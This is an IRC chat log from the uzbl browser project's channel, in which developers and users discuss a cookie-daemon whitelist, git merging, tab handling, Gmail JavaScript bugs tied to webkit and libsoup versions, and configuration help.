07:24 < axedcode> give me an example of what you want to do
07:25 < linopolus> i have cookies from google.de and google.com and i want to use google.* instead of google.de && google.com in the whitelist
07:27 < linopolus> and .wiki*.org cause there is wikibooks and wikinews and wikipedia and wikisource and wikiquote etc pp
07:31 < axedcode> i'm reading the RFC 2109. by the looks of it, thats not how cookies are stored, so no. but i can add this feature with some work in next version
07:31 < axedcode> currently alolowed domains are set just as they are stored
07:31 < axedcode> allowed*
07:32 < linopolus> k
07:32 < axedcode> i think thats a bad idea anyway. phishing sites would be caught
07:33 < linopolus> hm yeah
07:36 < axedcode> next version will have more functionality. right now its just a proof of concept quick edit
07:37 < axedcode> just brushing up on my python really...2 years of game design will wreck your mind
07:39 < linopolus> *g*
07:40 < axedcode> it should block everything except the whitelist though
07:40 < axedcode> let me know if it doesnt
07:40 < linopolus> mom i'm trying it…
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07:42 < linopolus> yes it works so
07:42 < axedcode> good :)
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07:50 < Caleb> wewt
07:51 < Caleb> lots of arch users
07:51 < axedcode> caleb: are you an arch dev?
07:52 < axedcode> noticed you were opped before
07:53 < Caleb> nope not a dev
07:53 < Caleb> just a channel admin
07:53 < Caleb> its my way of helping
07:53 < axedcode> oh ok, nice
07:54 < axedcode> ive been around for a long time, but i dont even know who's in charge.
07:54 < Caleb> yep
07:54 < axedcode> like almost 7 years
07:54 < Caleb> phrakture
07:54 < Caleb> hes the lead dev now
07:54 < axedcode> i remember i used to help contrasutra with the newsletter
07:54 < axedcode> whatever happened to him?
07:55 < Caleb> not sure
07:55 < axedcode> hm
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08:12 < mason-l> axionix, Good work on the modifications to the cookie_daemon.py
08:12 < mason-l> axionix, I'm going to pull your changes into my experimental branch.
08:13 < axionix> thanks
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08:14 < axionix> it needs some work yet, but works as a proof of concept for now
08:14 < mason-l> I'll help you build on it, I've got some time off today.
08:14 < axionix> id like to add globbing and somehow force it to re-read the whitelist without restarting the daemon
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08:16 < mason-l> axionix, Whats your email address? (I want to attribute your changes in my git tree)
08:17 < axionix> axionix@gmail.com
08:17 < axionix> you can put my real name down if you want too
08:17 < axionix> oops, its not on the ml...gotta change my gmail
08:18 < mason-l> axionix, Just let me know
08:18 < axionix> Michael Fiano <axionix@gmail.com>
08:20 < mason-l> All done.
08:20  * mason-l dives into the code.
08:21 < axionix> k. yeah i'm about to as well
08:34 < axionix> why does the header say uzbl tabbing wrapper?
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08:35 < linopolus> brb
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08:36 < mason-l> axionix, Header of uzbl_tabbed.py?
08:36 < axionix> no cookie_daemon.py
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08:36 < mason-l> axionix, ooops.
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08:36 < mason-l> Good find.
08:36 < axionix> :)
08:37 < axionix> i was about to add my name there and said, 'wait'. i didn't contribute to uzbl_tabbed
08:37 < mason-l> axionix, I've already added your name
08:37 < axionix> well i have github. which should i fork?
08:38 < mason-l> We all forked from Dieterbe's main repo
08:38 < mason-l> and most of us do our development in the experimental path
08:38 < mason-l> 'branch
08:39 < mason-l> https://github.com/Dieterbe/uzbl/tree
08:39 < axionix> ok, do you need to be added as a contributor to push to there?
08:40 < mason-l> Nope nobody can push there only Dieterbe.
08:40 < mason-l> We make all our commits in our own tress then he pulls the modifications we make manually.
08:40 < axionix> ok cool
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08:45 < axionix> mason-l: i get "detected another process listening on"...the socket even if i kill the daemon
08:49 < mason-l> axionix, An important thing to remember is to never SIG_KILL if you can help it, always use SIG_TERM
08:49 < axionix> hmm nevermind...somehow there was 2 running
08:49 < mason-l> because SIG_TERM cleans up after itself.
08:49 < axionix> yes i kill with 15
08:50 < axionix> i press k in htop and select SIGTERM
08:50 < axionix> wonder how another daemon got in there
08:52 < axionix> hmm, i still get the error
08:52 < axionix> should i delete the socket?
08:55 < mason-l> Yeah
08:55 < mason-l> Though it should delete it automatically.
08:56 < axionix> something is strange
08:56 < axionix> its not there
08:58 < MichaelRaskin> I'd say that the best signal sequence is TERM - QUIT - ABRT - KILL
08:58 < axionix> i hope my changes didnt screw this up
08:58 < axionix> i dont see how they could though
08:59 < axionix> it always gives the error no matter what
09:01 < axionix> blah...user stupidity yet again. all these wrappers are screwing me up
09:07 < mason-l> axionix, If you set two allowed_domains cookie jar policies will it overwrite the first?
09:09 < axionix> hmm, why would you do that?
09:11 < mason-l> As you say you want an ability to edit the whitelist on the fly
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09:13 < axionix> no it shouldn't overwrite the first. when the cookie jar is first opened, it applies the policy to the jar
09:13 < axionix> unless i'm misunderstanding the question
09:15 < axionix> set_policy() happens when the jar is opened
09:16 < rob|> morning.
09:16 < axionix> mornin rob
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09:32 < yuanyelele> Hi all~ how to use uzbl to view a local html file?
09:33 < rob|> file://path/to/yourfile
09:34 < axionix> file:///media/st1/www/index.html
09:34 < axionix> 3 slashes
09:34 < yuanyelele> cool ! thank you!
09:35 < axionix> file:// + /path/index.html
09:35 < yuanyelele> should be 2 slashes with relative path or absolute path
09:36 < axionix> yes the 3rd is the root dir for absolute
09:36 < axionix> file:// is the prefix
09:36 < axionix> same with any browser
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09:37 < axionix> mason-l: i pushed my changes to my github fork
09:38 < axionix> i need to sleep now though...its 4am here
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09:45 < zodmaner> mason-l: Hey, just want to tell you that I finally got follow_Numbers.js to open link in new window. :)
09:45 < mason-l> zodmaner, Awesome news
09:45 < mason-l> zodmaner, Share the solution
09:46 < zodmaner> mason-l: Sure, do you think this warrent a post to uzbl's wiki?
09:46 < zodmaner> mason-l: It's just a 2 line edit to get this to work.
09:47 < mason-l> zodmaner, Yeah, make a "Open follows in new windows" section at the bottom of the follow_numbers.js wiki page
09:47 < zodmaner> mason-l: Got it, will do.
09:48 < rob|> or change the original script so you can chose beween original and new niwndow behaviour by setting an uzbl var
09:48 < rob|> like: set follow_newwindow = 1
09:50 < zodmaner>  robl: That would be neat, but that'll take me sometime to figure out how to do it.
09:51 < zodmaner> Hm..., there aren't any wiki page about follow_numbers.js, are there?
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09:54 < rob|> oh, that should be easy. see http://www.uzbl.org/wiki/scroll-percentage for reference
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09:54 < zodmaner> robl: Thanks, will look into it.
09:55 < zodmaner> But for now, I'll create a new page (follow_Numbers_New_Window.js) and throw current script up there.
09:55 < zodmaner> And update it in the future once I figure my way around javascript. :P
09:55 < mason-l> zodmaner, Whats with the capitalization?
09:56 < zodmaner> mason-l, I just use the same capitalization as the script name.
09:56 < mason-l> Mmm, turns out follow_Numbers.js does that also.
09:56 < mason-l> yeah.
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10:11 < moshu> \/\/elcome`back`me
10:11 < moshu> Welcome
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10:14 < zodmaner> mason-l: Here's the wiki page: http://www.uzbl.org/wiki/follow_numbers_new_window.js
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10:15 < mason-l> zodmaner, Its a pitty that window.open didnt work for some reason.
10:16 < zodmaner> mason-l, Yeah, weird. It should have work.
10:16 < zodmaner> Oh well, thank god for Uzbl.run. :)
10:16 < Frots> morning!
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10:59 < yuanyelele> Hi, I'm tring the uzbl_tabbed.py script. cool! but can I have a "open link in new tab" menu item?
11:01 < mason-l> yuanyelele, Its not current possibly to define arbitrary menu items in uzbl but you can use the middle-click.js script to make middle click open links in new tabs.
11:01 < mason-l> yuanyelele, http://www.uzbl.org/wiki/middle_click_links
11:02 < ruskie> and the open link in new window if uzbl_tabbed.py is setup properly will open them in new tab
11:04 < yuanyelele> "new windows are not caught and opened in a new tab." is listed under "Issues" in my uzbl_tabbed.py. May be there are new versions?
11:04 < mason-l> yuanyelele, Yes!
11:06 < ruskie> I think by new windows it might mean for those started outside of uzbl_tabbed?
11:06 < mason-l> yuanyelele, oh wait, I should delete that now shouldn't I.
11:06  * ruskie would like to see a way to add or remove windows from uzbl_tabbed easily
11:06 < mason-l> ruskie, It initially meant wont catch window.open
11:07 < yuanyelele> Thank you! I also think being able to define custom menu items is a great idea. Is it difficult to do?
11:07 < mason-l> but uzbl_tabbed.py's had that fixed for a while with the addition of the new window handler.
11:07 < mason-l> yuanyelele, Not possible at the moment.
11:07 < mason-l> yuanyelele, Its either all new windows or all new tabs.
11:07 < mason-l> I chose the latter.
11:08 < mason-l> ruskie, That can be arranged :)
11:08 < mason-l> brb guys.
11:08 < mason-l> ruskie, Also check the ML, you may like the new cookie_daemon.py changes that add whitelist support (thanks to axionix)
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11:10 < ruskie> mason-l, still lacking some of the important bits for me :)
11:10 < mason-l> ruskie, Like?
11:10 < ruskie> gpg encryption of the cookie file :)
11:10 < ruskie> and a few other tidbits :)
11:10 < mason-l> ruskie, Send a patch :)
11:10 < ruskie> I'll probably keep working on my own handler :)
11:10 < mason-l> aww :(
11:11 < mason-l> brb
11:11 < ruskie> it might take a while but in the end it will be what I want :)
11:11 < ruskie> anyway off to grab some food
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14:11 < Dieterbe> good morning all
14:12 < mason-l> Morning Dieterbe.
14:13 < Dieterbe> heh it's probably already evening for you
14:15 < mason-l> 20:13 :)
14:15 < Frots> morning?
14:15 < Frots> good afternoon :p
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14:21 < mason-l> Dieterbe, Do you know much about gtk plug & sockets? How easy is it to disconnect a plug from a socket and reconnect it to another?
14:25 < Dieterbe> no. i _think_ it's just a matter of calling a few gtk functions
14:25 < Dieterbe> i've seen a basic tutorial somewhere and it looked easy
14:34 < holizz> mason-l, Which side are you doing it from? Are you thinking of moving tabs between windows in uzbl_tabbed? I think it's just a matter of telling the socket of the second window to use the plug, and it takes the plug out of the original socket.
14:34 < mason-l> holizz, That easy?
14:35 < mason-l> holizz, And yeah thats the intended function.
14:35 < mason-l> I'm going to try this brb.
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14:50 < holizz> mason-l, gtk.Socket.add_id, but it seems to just remove the plug from the existing socket, but it isn't adding it.
14:51 < mason-l> holizz, Maybe there is a hook in uzbl that kills the process when it is un-plugged.
15:01 < holizz> mason-l, Aha. It works fine. I was just forgetting to call gtk.main.
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17:59 < axionix> morning
18:00 < Dieterbe> hi
18:02 < axionix> looks like mason was hard at work making chnages to my editing cookie daemon
18:02 < axionix> nice...i must try it
18:16 < mason-l> Yeah axionix I went to town on that daemon.
18:16 < mason-l> View the git log or github commit history for more information on the changes.
18:24 < axionix> i have been :)
18:24 < mason-l> I managed to implement that "reload whitelist if modified" rather easily I think.
18:25 < axionix> nice. i guess i'll try at parsing the whitelist
18:25 < mason-l> I wonder if there is much use in a cookie blacklist?
18:25 < axionix> so that i convert from globbing to netscape format
18:26 < mason-l> axionix, But it works right now doesn't it?
18:26 < axionix> mason-l: most definitely. instead of a boolean toggle for whitelist on/off...make it 0-2
18:26 < axionix> i havent tried it yet...still following commit logs
18:27 < mason-l> axionix, And what would the levels 0, 1, 2 each do?
18:27 < axionix> disabled, just whitelist, or just blacklist
18:28 < mason-l> Yeah thats one way :)
18:29 < axionix> so...
18:29 < axionix> if i commited to my github, should i merge your changes before i add more stuff?
18:29 < mason-l> axionix, most definitely.
18:30 < axionix> ok.
18:30 < axionix> i noticed a problem with uzbl tabbed
18:31 < mason-l> axionix, I guess its just my opinion its more pythonic to add another variable "use_blacklist".
18:31 < axionix> true, yeah
18:31 < mason-l> axionix, Whats the issue you've found with uzbl_tabbed.py?
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18:32 < axionix> if i right click and open in new window for a link (to open in a new tab), sometimes they open in 2 new tabs. maybe for sites that by default open in new window with target=
18:33 < mason-l> axionix, Find out if that is the case with the web inspector.
18:33 < mason-l> its a different issue if it _always_ opens 2 new tabs.
18:33 < axionix> ok, though it stopped doing it on the same site so i cant reproduce it anymore
18:34 < axionix> if it happens again i'll check it out
18:34 < mason-l> axionix, Thanks.
18:36 < axionix> mason-l: how often does it poll mtime?
18:37 < mason-l> axionix, Once a second when its not serving cookies.
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18:37 < mason-l> Imo that can certainly be improved upon.
18:38 < mason-l> But it works!
18:38 < mason-l> :)
18:38 < axionix> oh is that part of the listener method?
18:38 < mason-l> Yeah.
18:38 < axionix> ok cool. just trying to understand it better
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18:46 < axionix> Has gmail been fixed yet in any forked repo? it's a pain using midori to read my mail
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18:49 < Dieterbe> what's the problem? tip:report a bug
18:50 < axionix> dieterbe: well ive heard the bug going around for months. i assumed it was reported
18:52 < Dieterbe> it's been talked about a lot. but i checked yesterday, it was not in our bugtracker
18:52 < axionix> click on some mail messages, or attaching a file, etc...prevents further javascript from working with an error at the top counting down seconds to retry
18:52 < axionix> i'll post a bug
18:53 < Dieterbe> maybe we should just ask the midori guys
18:53 < Dieterbe> or search on their bugtracker
18:53 < axionix> also i noticed on github for example, javascript does the same
18:54 < scj> what gmail bug? I'm not noticing anything odd with gmail, other than I can't navigate it with the keyboard
18:55 < axionix> scj: for one, try attaching a file to a composed message
18:55 < axionix> scj: the others seem to only happen with certain mail messages...or maybe when the list is long, as it always occurs when browsing my mailing list tag
18:56 < scj> axionix: attaching works for me
18:57 < axionix> scj: i just noticed it only affects the New look...not the colorful classic look
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18:57 < scj> new look?
18:57 < axionix> top right of gmail allows you to switch to new
18:57 < axionix> axedcode@gmail.com | Settings | Newer Version | Help | Sign out
18:58 < scj> oh. I was using 'Newer version' and I could attach files
18:58 < scj> I'm using the webkitgtk cookie handler
18:58 < axionix> scj: odd i cant. infact the attach button isnt painted...just a white box
18:59 < axionix> it allows me to select a file, uploads it, then says failed next to it
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18:59 < scj> axionix: what version of libsoup?
19:00 < scj> I'm using 2.27.4
19:00 < axionix> scj: http://omploader.org/vMjhhbA
19:00 < axionix> scj: ah, i'm using libsoup from 'extra'
19:01 < axionix> 2.26.3
19:02 < Dieterbe> axionix: can you try the newer version? if it makes it work for you, i'll bump the versions in the uzbl dependencies
19:02 < axionix> one min
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19:05 < axionix> hmm it requires a newer glib2
19:05 < axionix> i gotta make at least 1 pkgbuild
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19:06 < scj> odd, I just changed the version vars, updated the hashes and built it
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19:07 < axionix> i am trying libsoup-git...i could try the other one i guess
19:08 < axionix> yeah ok that works
19:09 < axionix> scj: do i have to rebuild webkit against it?
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19:09 < axionix> what version of that are you using?
19:10 < scj> libwebkit-nightly r46091
19:10 < scj> and I don't remember if I had to rebuild webkit, actually
19:10 < axionix> ok extra here again
19:10 < scj> don't think so
19:10 < axionix> same problem...i'll get nightly
19:11 < mason-l> My gmail works when using webkits internal cookie handler also.
19:11 < mason-l> But I've found html mode gmail is fine for me most of the time.
19:15 < axionix> scj: what version of glib2 do you have?
19:15 < axionix> webkit-git requires the new libsoup...which requires new core packages
19:15 < scj> 2.20.4-1
19:15 < axionix> hmm same here
19:15 < axionix> must be a recent change in git
19:17 < scj> axionix: this is the pkgbuild I use http://omploader.org/vMjhhcQ
19:18 < scj> I just look up what the latest r is on nightly.webkit.org and rebuild it once a month or so
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19:18 < axionix> good luck next time :)
19:19 < mason-l> axionix, I've just pushed a commit which fixes the amount of times the main loop polls for whitelist changes.
19:19 < scj> I guess I could give it a go. my computer is slow as shit and takes forever though
19:20 < mason-l> axionix, You might like to grab it.
19:20 < axionix> mason-l: ok nice. i'll check it out in a few. btw how do i merge your repo if mine is a fork f dieterbe's?
19:22 < mason-l> axionix, These commands (1) git add remote mason-l git://github.com/mason-larobina/uzbl.git (2) git pull mason-l experimental
19:22 < axionix> thanks
19:23 < mason-l> (I hope those work :P)
19:24 < mason-l> axionix, Make sure you are in the experimental branch before running the last command though
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19:25 < mason-l> Or else the experimental branch will be merged in with Dieterbe's master (which could get messy).
19:25 < mason-l> (Which is exactly what I did when checking those commands work)
19:26 < axionix> heh. doesnt the last part of that command ensure that?
19:26 < mason-l> nope :)
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19:26 < axionix> how do i then?
19:27 < Caleb> ok
19:27 < Caleb> so how can i make it to where when i click a link it opens in a new tab with uzble
19:27 < Caleb> uzbl
19:27 < Caleb> or does it not have tabs
19:27 < scj> no tabs
19:29 < mason-l> axionix, Give me a moment.
19:29 < Caleb> ahh
19:29 < axionix> np
19:29 < Caleb> so it will just open a new window?
19:29 < Caleb> thats cool
19:29 < mason-l> Caleb, Use uzbl_tabbed.py if you want tabs.
19:29 < axionix> caleb: see uzbl_tabbed.py
19:29 < Caleb> oh hell
19:29 < axionix> caleb: read the wiki again :)
19:30 < Caleb> yeah i am
19:30 < Caleb> hehe
19:30 < Caleb> goin to the site noe
19:31 < mason-l> axionix, Use this command to switch to the experimental branch: git checkout -b experimental origin/experimental
19:31 < mason-l> Caleb, http://www.uzbl.org/wiki/uzbl_tabbed
19:32 < mason-l> axionix, So after the checkout then run (2) git pull mason-l experimental
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19:32 < axionix> ok
19:32 < Caleb> yeah im looking
19:39 < mason-l> Dieterbe, I've just noticed something accidentally while browsing around on github. If you rename README to README.md the project readme will actually be formatted in markdown. Example http://github.com/davekeogh/reddit_monitor/tree/master
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19:40 < axionix> wow webkit is a beast
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19:41 < mason-l> axionix, Are you trying to download it?
19:41 < mason-l> The --depth option is your friend.
19:41 < axionix> compile it...dual core 2.2ghz....taking 20 mins and counting
19:42 < mason-l> Oh right.
19:42 < mason-l> Yeah its impressive compiling on my computer also.
19:42 < mason-l> axionix, Gentoo right?
19:42 < axionix> no arch
19:42 < mason-l> Oh right.
19:42 < axionix> compiling it to try and fix gmail js bugs
19:43 < mason-l> Did you set your -j3 make option?
19:43 < axionix> yes
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19:58 < axionix> good news
19:59 < axionix> @ dieterbe: scj's versions of webkit/soup fixes my javascript issues
19:59 < scj> \o/
19:59 < axionix> maybe add them as min requirements
19:59 < axionix> \o/
20:00 < axionix> mason-l: clicking a link in a gmail message is weird with uzbl_tabbed
20:00 < axionix> clicking, pops up the first tab and a popup box saying gmail detected a popup blocker. click ok, and it opens the same link in a 2nd tab
20:01 < mason-l> axionix, Does it tell you "Grrr you must be using a popup blocker"
20:01 < mason-l> Yeah
20:02 < axionix> yeah even though it infact does work. when i click ok it opens a 2nd tab though
20:03 < axionix> dieterbe, scj: i spoke too soon. it only fixes the attachment problem. broiwsing certain messages shows this at the top and disables further javascript links: http://omploader.org/vMjhiMA
20:03 < mason-l> axionix, Well uzbl_tabbed.py is doing what its told and opening two tabs when asked, I don't think this is the scripts problem.
20:04 < mason-l> This might even happen using uzbl outside of uzbl_tabbed.py
20:04 < axionix> mason-l: also found another 'problem' with it
20:04 < axionix> uzbl_tabbed doesn't check if uzbl is installed. it opens a window with a tab even if it cant draw uzbl in it :)
20:06 < mason-l> axionix, I've been partially working on that but I haven't got it working quite right yet.
20:06 < mason-l> I've got those modifications in a local branch only.
20:06 < axionix> ok
20:06 < axionix> well, lunch time
20:07 < mason-l> Sleep time for me.
20:07 < mason-l> Night guys.
20:07 < mason-l> Dieterbe, Rename README to README.md
20:11 < scj> axionix: I can't reproduce that error #500 bug (no uzbl_tabbed, no external cookie handler)
20:11 < mason-l> scj, I never get any errors when using webkits cookie handlers.
20:12 < mason-l> Which leads me to believe we are missing something.
20:12  * mason-l is off
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20:17 < bct> mason-l, have you tried turning on http_debug and checking for differences in what's being sent?
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20:45 < Caleb> hm
20:45 < Caleb> when i click a link in weechat it open uzbl but doesnt goto the link
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21:16 < Dieterbe> mason-l: i don't care how github renders the readme. an md suffix looks weird, especially for a plaintext file
21:16 < Dieterbe> it's rendered correctly on uzbl.org, and that's what matters
21:19 < linopolus> hm can someone plz send something to the ml? *g*
21:19 < Dieterbe> i sent some stuff today
21:20 < linopolus> this just arrived but i want to test my sieve script…
21:21 < Dieterbe> sive?
21:22 < linopolus> http://en.wikipedia.org/wiki/Sieve_(mail_filtering_language)
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21:34 < Dieterbe> i see
21:35 < Dieterbe> is this the lang that is often used to do serverside mail filtering?
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21:36 < linopolus> yes
21:38 < xintron> Is there some way to set a different useragent for a certain page (that doesn't function as it should if it doesn't recognize the useragent)?
21:44 < bct> you should be able to write a piece of javascript that runs before the page is requested, and change the useragent based on the url
21:45 < bct> load_start_handler maybe?
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21:55 < scj> load_start_handler is called when the server request is sent out, I believe
21:56 < bct> before or after?
21:58 < scj> "When a WebKitWebFrame begins to load this signal is emitted"
21:59 < scj> so after
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22:01 < scj> we need a pre_start_handler
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22:27 < Dieterbe> scj: heh. 2.27.4 is not even available on arch :P people are going to liquidate me if i force this dependency:P
22:30 < scj> not your fault if arch is lagging behind
22:31 < Dieterbe> how did you get this installed?
22:31 < Dieterbe> manually bumping ?
22:31 < scj> abs
22:32 < scj> it was suggested about a month ago as a fix for the #6411 error on gmail
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22:48 < Dieterbe> good night
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01:12 < Caleb> so
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01:12 < Caleb> anyone know how i can make uzbl open the link i click in weechat
01:15 < scj> are you sure it's handled by weechat and not urxvt or something?
01:15 < Dr-Horrible> Can anyone reach blackboard.avans.nl with uzbl?
01:16 < Caleb> scj: well its handled by urxvt
01:16 < Caleb> ill show you what i have
01:16 < scj> Dr-Horrible: yes
01:16 < Caleb> urxvt*urlLauncher:uzbl
01:16 < Caleb> URxvt.perl-ext-common:default,matcher,-option-popup,-selection-popup,-readline
01:17 < Caleb> !URxvt*perl-ext: mark-urls
01:17 < Caleb> URxvt.matcher.button:1
01:17 < Caleb> URxvt.matcher.pattern.1:\\bwww\\.[\\w-]+\\.[\\w./?&@#-]*[\\w/-]
01:17 < Caleb> thats what i have
01:17 < scj> Caleb: master or experimental branch?
01:17 < scj> of uzbl
01:17 < Dr-Horrible> scj thanks, seems privoxy was the problem, should've tried disabling it already
01:18 < Caleb> uzbl-git
01:18 < Caleb> shou i use experimental instead?
01:20 < scj> Caleb: appears like the latest experimental->master merge was later than the fix that removes the need for invoking with 'uzbl -u $url'
01:20 < scj> so yeah, using uzbl-experimental-git and it should work
01:20 < Caleb> k
01:20 < scj> or you could write a wrapper script
01:20 < Caleb> man i love archlinux haha
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01:38 < Caleb> scj: did the config change for the experimental build
01:38 < scj> probably
01:39 < scj> Caleb: what's not working?
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01:40 < Caleb> well
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01:41 < Caleb> like before you would hit super o and space you could see what ya type
01:42 < Caleb> now
01:42 < Caleb> i think i need to get some of these scripts this config is showing
01:45 < Caleb> ok
01:46 < Caleb> how can i copy all the file from someones git page to my computer
01:48 < holizz> Caleb, git clone
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01:54 < Caleb> ok
01:54 < Caleb> im lost now
02:02 < Caleb> ill get back to it later
02:02 < Caleb> gotta go for now
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03:12 < axionix> scj: i reverted back to webkit from the extra repo. for some reason scrolling a page on github and some other sites doesn't work with that nightly version.
03:12 < scj> weird
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04:55 < vitae> Hello.
04:56 < vitae> I just wanted to mention that uzbl is f*cking awesome, so thank you to the developers and other contributors.
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08:50 < ruskie> 139.6 MiB +  12.1 MiB = 151.8 MiBuzbl (6) <-- from ps_mem.py the first number is private mem use... not a friendly number I'd say
08:52 < ruskie> 80.6 MiB +   1.7 MiB =  82.3 MiBfirefox-bin (2) <-- and that's firefox with 6 tabs
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10:24 < richp42> Hey guys -- has anyone used uzbl for scraping?
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10:27 < Dieterbe> huh? what does a browser have to do with scraping?
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10:30 < richp42> Dieterbe: My objective is to automate accessing a website multiple times and download certain information each time.  Can uzbl be fully automated to do this kind of thing?
10:30 < Frots> why wouldnt you use curl or somethin? richp42
10:30 < Dieterbe> indeed
10:33 < richp42> If the website uses javascript etc, I don't think curl will work (or other similar packages like mechanize).  Sometimes the only way to get the data is to pretend to be a browser.
10:33 < kTT> what could be wrong if any webkit from git, nigthly etc. hasn't got working javascript? :/
10:37 < Dieterbe> well richp42 , you can programatically make uzbl fetch certain pages, and you can retrieve the page contents from uzbl, but there is no real yet to "click on buttons" or programatically insert text into forms
10:38 < richp42> Dieterbe: That's great thanks; that's what I needed to know.
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11:10 < holizz> That's exactly what I started doing last night: http://github.com/holizz/currency
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11:12 < holizz> We should be able to click links and submit forms using JavaScript.
11:13 < Dieterbe> yeah
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12:15 < scj> Dieterbe: sure you can click buttons and insert text
12:15 < Dieterbe> really? how?
12:18 < scj> that's pretty much what formfiller.sh does
12:18 < holizz> Dieterbe, document.getElementsByName('form')[0].submit(), IIRC.
12:25 < scj> you'd still need some js for mechanizing uzbl, but you could write a small bit of button clicking/text insertion js code and then script the logic in something else
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13:04 < Dieterbe> scj / holizz actually i was more thinking about the literal emulation of inserting text and clicking buttons, so that if javascript is looking for onClick, onInsert and whatever all those things are called, are still working
13:05 < Dieterbe> not sure if this falls under YAGNI or not
13:05 < Dieterbe> but with screenscraping it's usually best to emulate a real user as much as possible
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13:07 < holizz> I don't think we need features for screen-scraping. If we want that, we should start a new project.
13:08 < Dieterbe> sure. just saying..
13:08 < scj> maybe it would be a good idea to write mechanize.js
13:10 < scj> and a way to record a session
13:11 < dunz0r> it would be nice to have macros...
13:16 < Dieterbe> whoa whoa whoa
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14:13 < ruskie> hmm links such as: javascript:%20OpenPopupGallery('/fotogalerija/?nid=14801&pos=4&slide=0'); don't work for me in uzbl...
14:21 < Dieterbe> i think there is a ticket about that. not sure
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14:30 < scj> probably related to window.open not working
14:31 < scj> ruskie: does it work in midori?
14:31 < ruskie> no clue
14:32 < ruskie> yeah it does
14:32 < scj> then I'm willing to bet money on it being related to window.open not working
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14:39 < ruskie> also the back command seems to not actually go back to certain clicked links... i.e. lolcats random function... always throws me to the first pic not the last one I saw...
15:09 < scj> my uneducated guess is that it doesn't resend any POSTed data
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15:17 < linopolus> http://explosm.net/comics/1778/ rofl
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17:19 < zodmaner> Guys, I need help with regexp in javascript. Simply put, how do I use regexp to change "(" in item.href to "\(".
17:20 < zodmaner> I try doing some searching, but haven't found a solution yet.
17:23 < boxxar> have you tried variable_name.replace(/\(/g, "\\(");?
17:24 < boxxar> works for me
17:26 < zodmaner> boxxar: Something like item.href.replace(... ?
17:28 < zodmaner> Hm... Uzbl.run("sh 'exec uzbl --uri " + item.href.replace(/\(/g, "\\(") + "'"); doesn't work.
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17:36 < zodmaner> boxxar: I still can't figure out how to replace item.href string.
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19:08 < axionix> ruskie: there is a bug ticket for some sites not storing history. another example is fatpita.net
19:09 < axionix> ruskie: unfortunately its nothing we can fix, as it happens in midori too. webkit needs work for sure
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19:18 < btartsa|> cool project...once I sort out how to config and use the damn thing :0
19:21 < btartsa|> is dmenu the preferred method to pass commands?
19:21 < bct> i don't know if i'd call it "preferred", but there are several scripts that use it.
19:23 < bct> most commands just get typed straight into uzbl though.
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19:28 < rob|> i guess we should clean up the README a bit, there's way too much introdutory bla bla while the real info comes at the end
19:28 < rob|> maybe we could/should move big parts of it to a PHILOSOPHY file or something
19:30 < rob|> or at least provide a good step-by-step howto
19:46 < btartsa|> its not too bad setting up. Im up and running w/ zero errors in the terminal in 10 minutes :)
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19:54 < Dieterbe> rob|: two good points (too much philosophy + lack of quick howto)
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20:06 < axionix> dieterbe: i agree with you on making the cookie script simpler. I forked my own repository and I'm going to be cleaning it up some, making use of writing to a socket instead of doing any polling. I just replied to both of your messages on the ml.
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19:20 < ertai> Hi all,
19:21 < ertai> I seen some screenshots with a webinspector
19:21 < ertai> how do we use it?
19:21 < holizz> ertai, Right-click, Inspect element.
19:23 < ertai> holizz: you mean that I need to find a mouse :)
19:24 < holizz> ertai, Sorry, I don't think there's another way yet.
19:24 < ertai> actually my trackpad has no right button and CTRL-click emulation don't work here
19:25 < ertai> hum found it
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19:25 < holizz> Oh dear. We really should make a command for that so it's keyboard-accessible.
19:25 < ertai> holizz: thanks the webinspector is really nice
19:25 < ertai> holizz: it would be really nice indeed
19:26 < holizz> Want to file a bug?
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19:28 < N30N_> holizz: you can access the context menu via js (see my pan script), I'll be assing a way to use it via hints when I have time.
19:29 < N30N_> erm s/assing/adding/ lol
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19:43 < holizz> N30N_, Thanks. I'm currently trying to see if I can get the context menu to appear.
19:44 < ertai> holizz: -n http://www.uzbl.org/bugs/index.php?do=details&task_id=96
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19:50 < holizz> document.createEvent("MouseEvents").initMouseEvent("contextmenu",true,true,document,1,0,0,0,0,false,false,false,false,2,document.documentElement)
19:50 < holizz> Is how far I've gotten so far. undefined :(. But making tea now.
20:02 < holizz> Oh look. I can make uzbl crash.
20:02 < holizz> echo 'js alert(undefined)' | socat - unix-connect:/tmp/uzbl_socket_33554464
20:03 < N30N_> holizz: with events you need to assign then to a variable before you can use it's methods (not sure why)
20:04 < N30N_> but in anycase I foregot that context menu event does not work in WebKit
20:04 < N30N_> I mean creating one
20:06 < holizz> Orly? That would be problematic.
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20:10 < hatten> test
20:10 < hatten> you see this?
20:10 < boxxar> yes
20:10 < hatten> k, didn't need to register at this channel
20:11 < hatten> Is uzbl usable with the default configs?
20:11 < hatten> or are you forced to change the configs before trying it?
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20:12 < btartsa|> check the wiki
20:12 < hatten> i have
20:12 < btartsa|> user configs axailable
20:12 < btartsa|> *available
20:12 < hatten> but is it in your opinion completely unusable with the sample configs?
20:13 < hatten> meant sample, not default
20:13 < holizz> Sample configs are alright.
20:13 < hatten> k, then im off to install uzbl =D
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20:17 < btartsa|> do I need libxdg installed for default behavior to work?
20:21 < holizz> btartsa|, I don't think so.
20:24 < hatten> e
20:25 < hatten> oops sorry
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20:45 < jrick> anybody have any ideas about this one? http://www.uzbl.org/bugs/index.php?do=details&task_id=98
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22:43 < jrick> so no one knows what could be causing this crash?
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22:44 < DuClare> Have you tried other versions of webkit?
22:44 < DuClare> I don't think anybody knows the cause
22:45 < jrick> not yet
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22:46 < jrick> I'm building webkit on an i386 machine to see if I still have the same crashr
22:46 < jrick> s/r$//
22:46 < jrick> (same version of webkit)
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22:56 < jrick> ok, I just tested on the i386 machine, and it works fine
22:56 < jrick> so somehow uzbl broke it on amd64
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23:06 < jrick> I know there have been some other's with problems on amd64, but am I the only one with this particular crash?
23:06 < jrick> s/'//
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23:12 < jrick> and linkfollow.js is the exact same, so I'm pretty sure this is an issue with uzbl.c
23:12 < jrick> I don't really know C all that well, but I'll try to see what changed to cause this
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23:19 < jrick> all the lines in uzbl.c referred to in the backtrace are the same as in the older version which worked :/
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23:50 < jrick> I wonder if I should try to rebuild webkit with a different compiler, currently I'm using gcc 4.2.1
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08:42 < Sindikat> Hey, guys, will uzbl someday appear in Debian repositories?
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09:07 < hatten> i cannot seem to find the button to mark links with a number and follow them in the sample config
09:08 < hatten> what is it?
09:09 < hatten> nobody here? =(
09:09 < Hunner> gf ?
09:10 < hatten> nothing happens
09:11 < Hunner> it's two letters I think. I don't have uzbl atm
09:11 < hatten> yeah
09:11 < hatten> but nothing happens when entering them and pressing enter
09:12 < MichaelRaskin> fl
09:12 < MichaelRaskin> or F
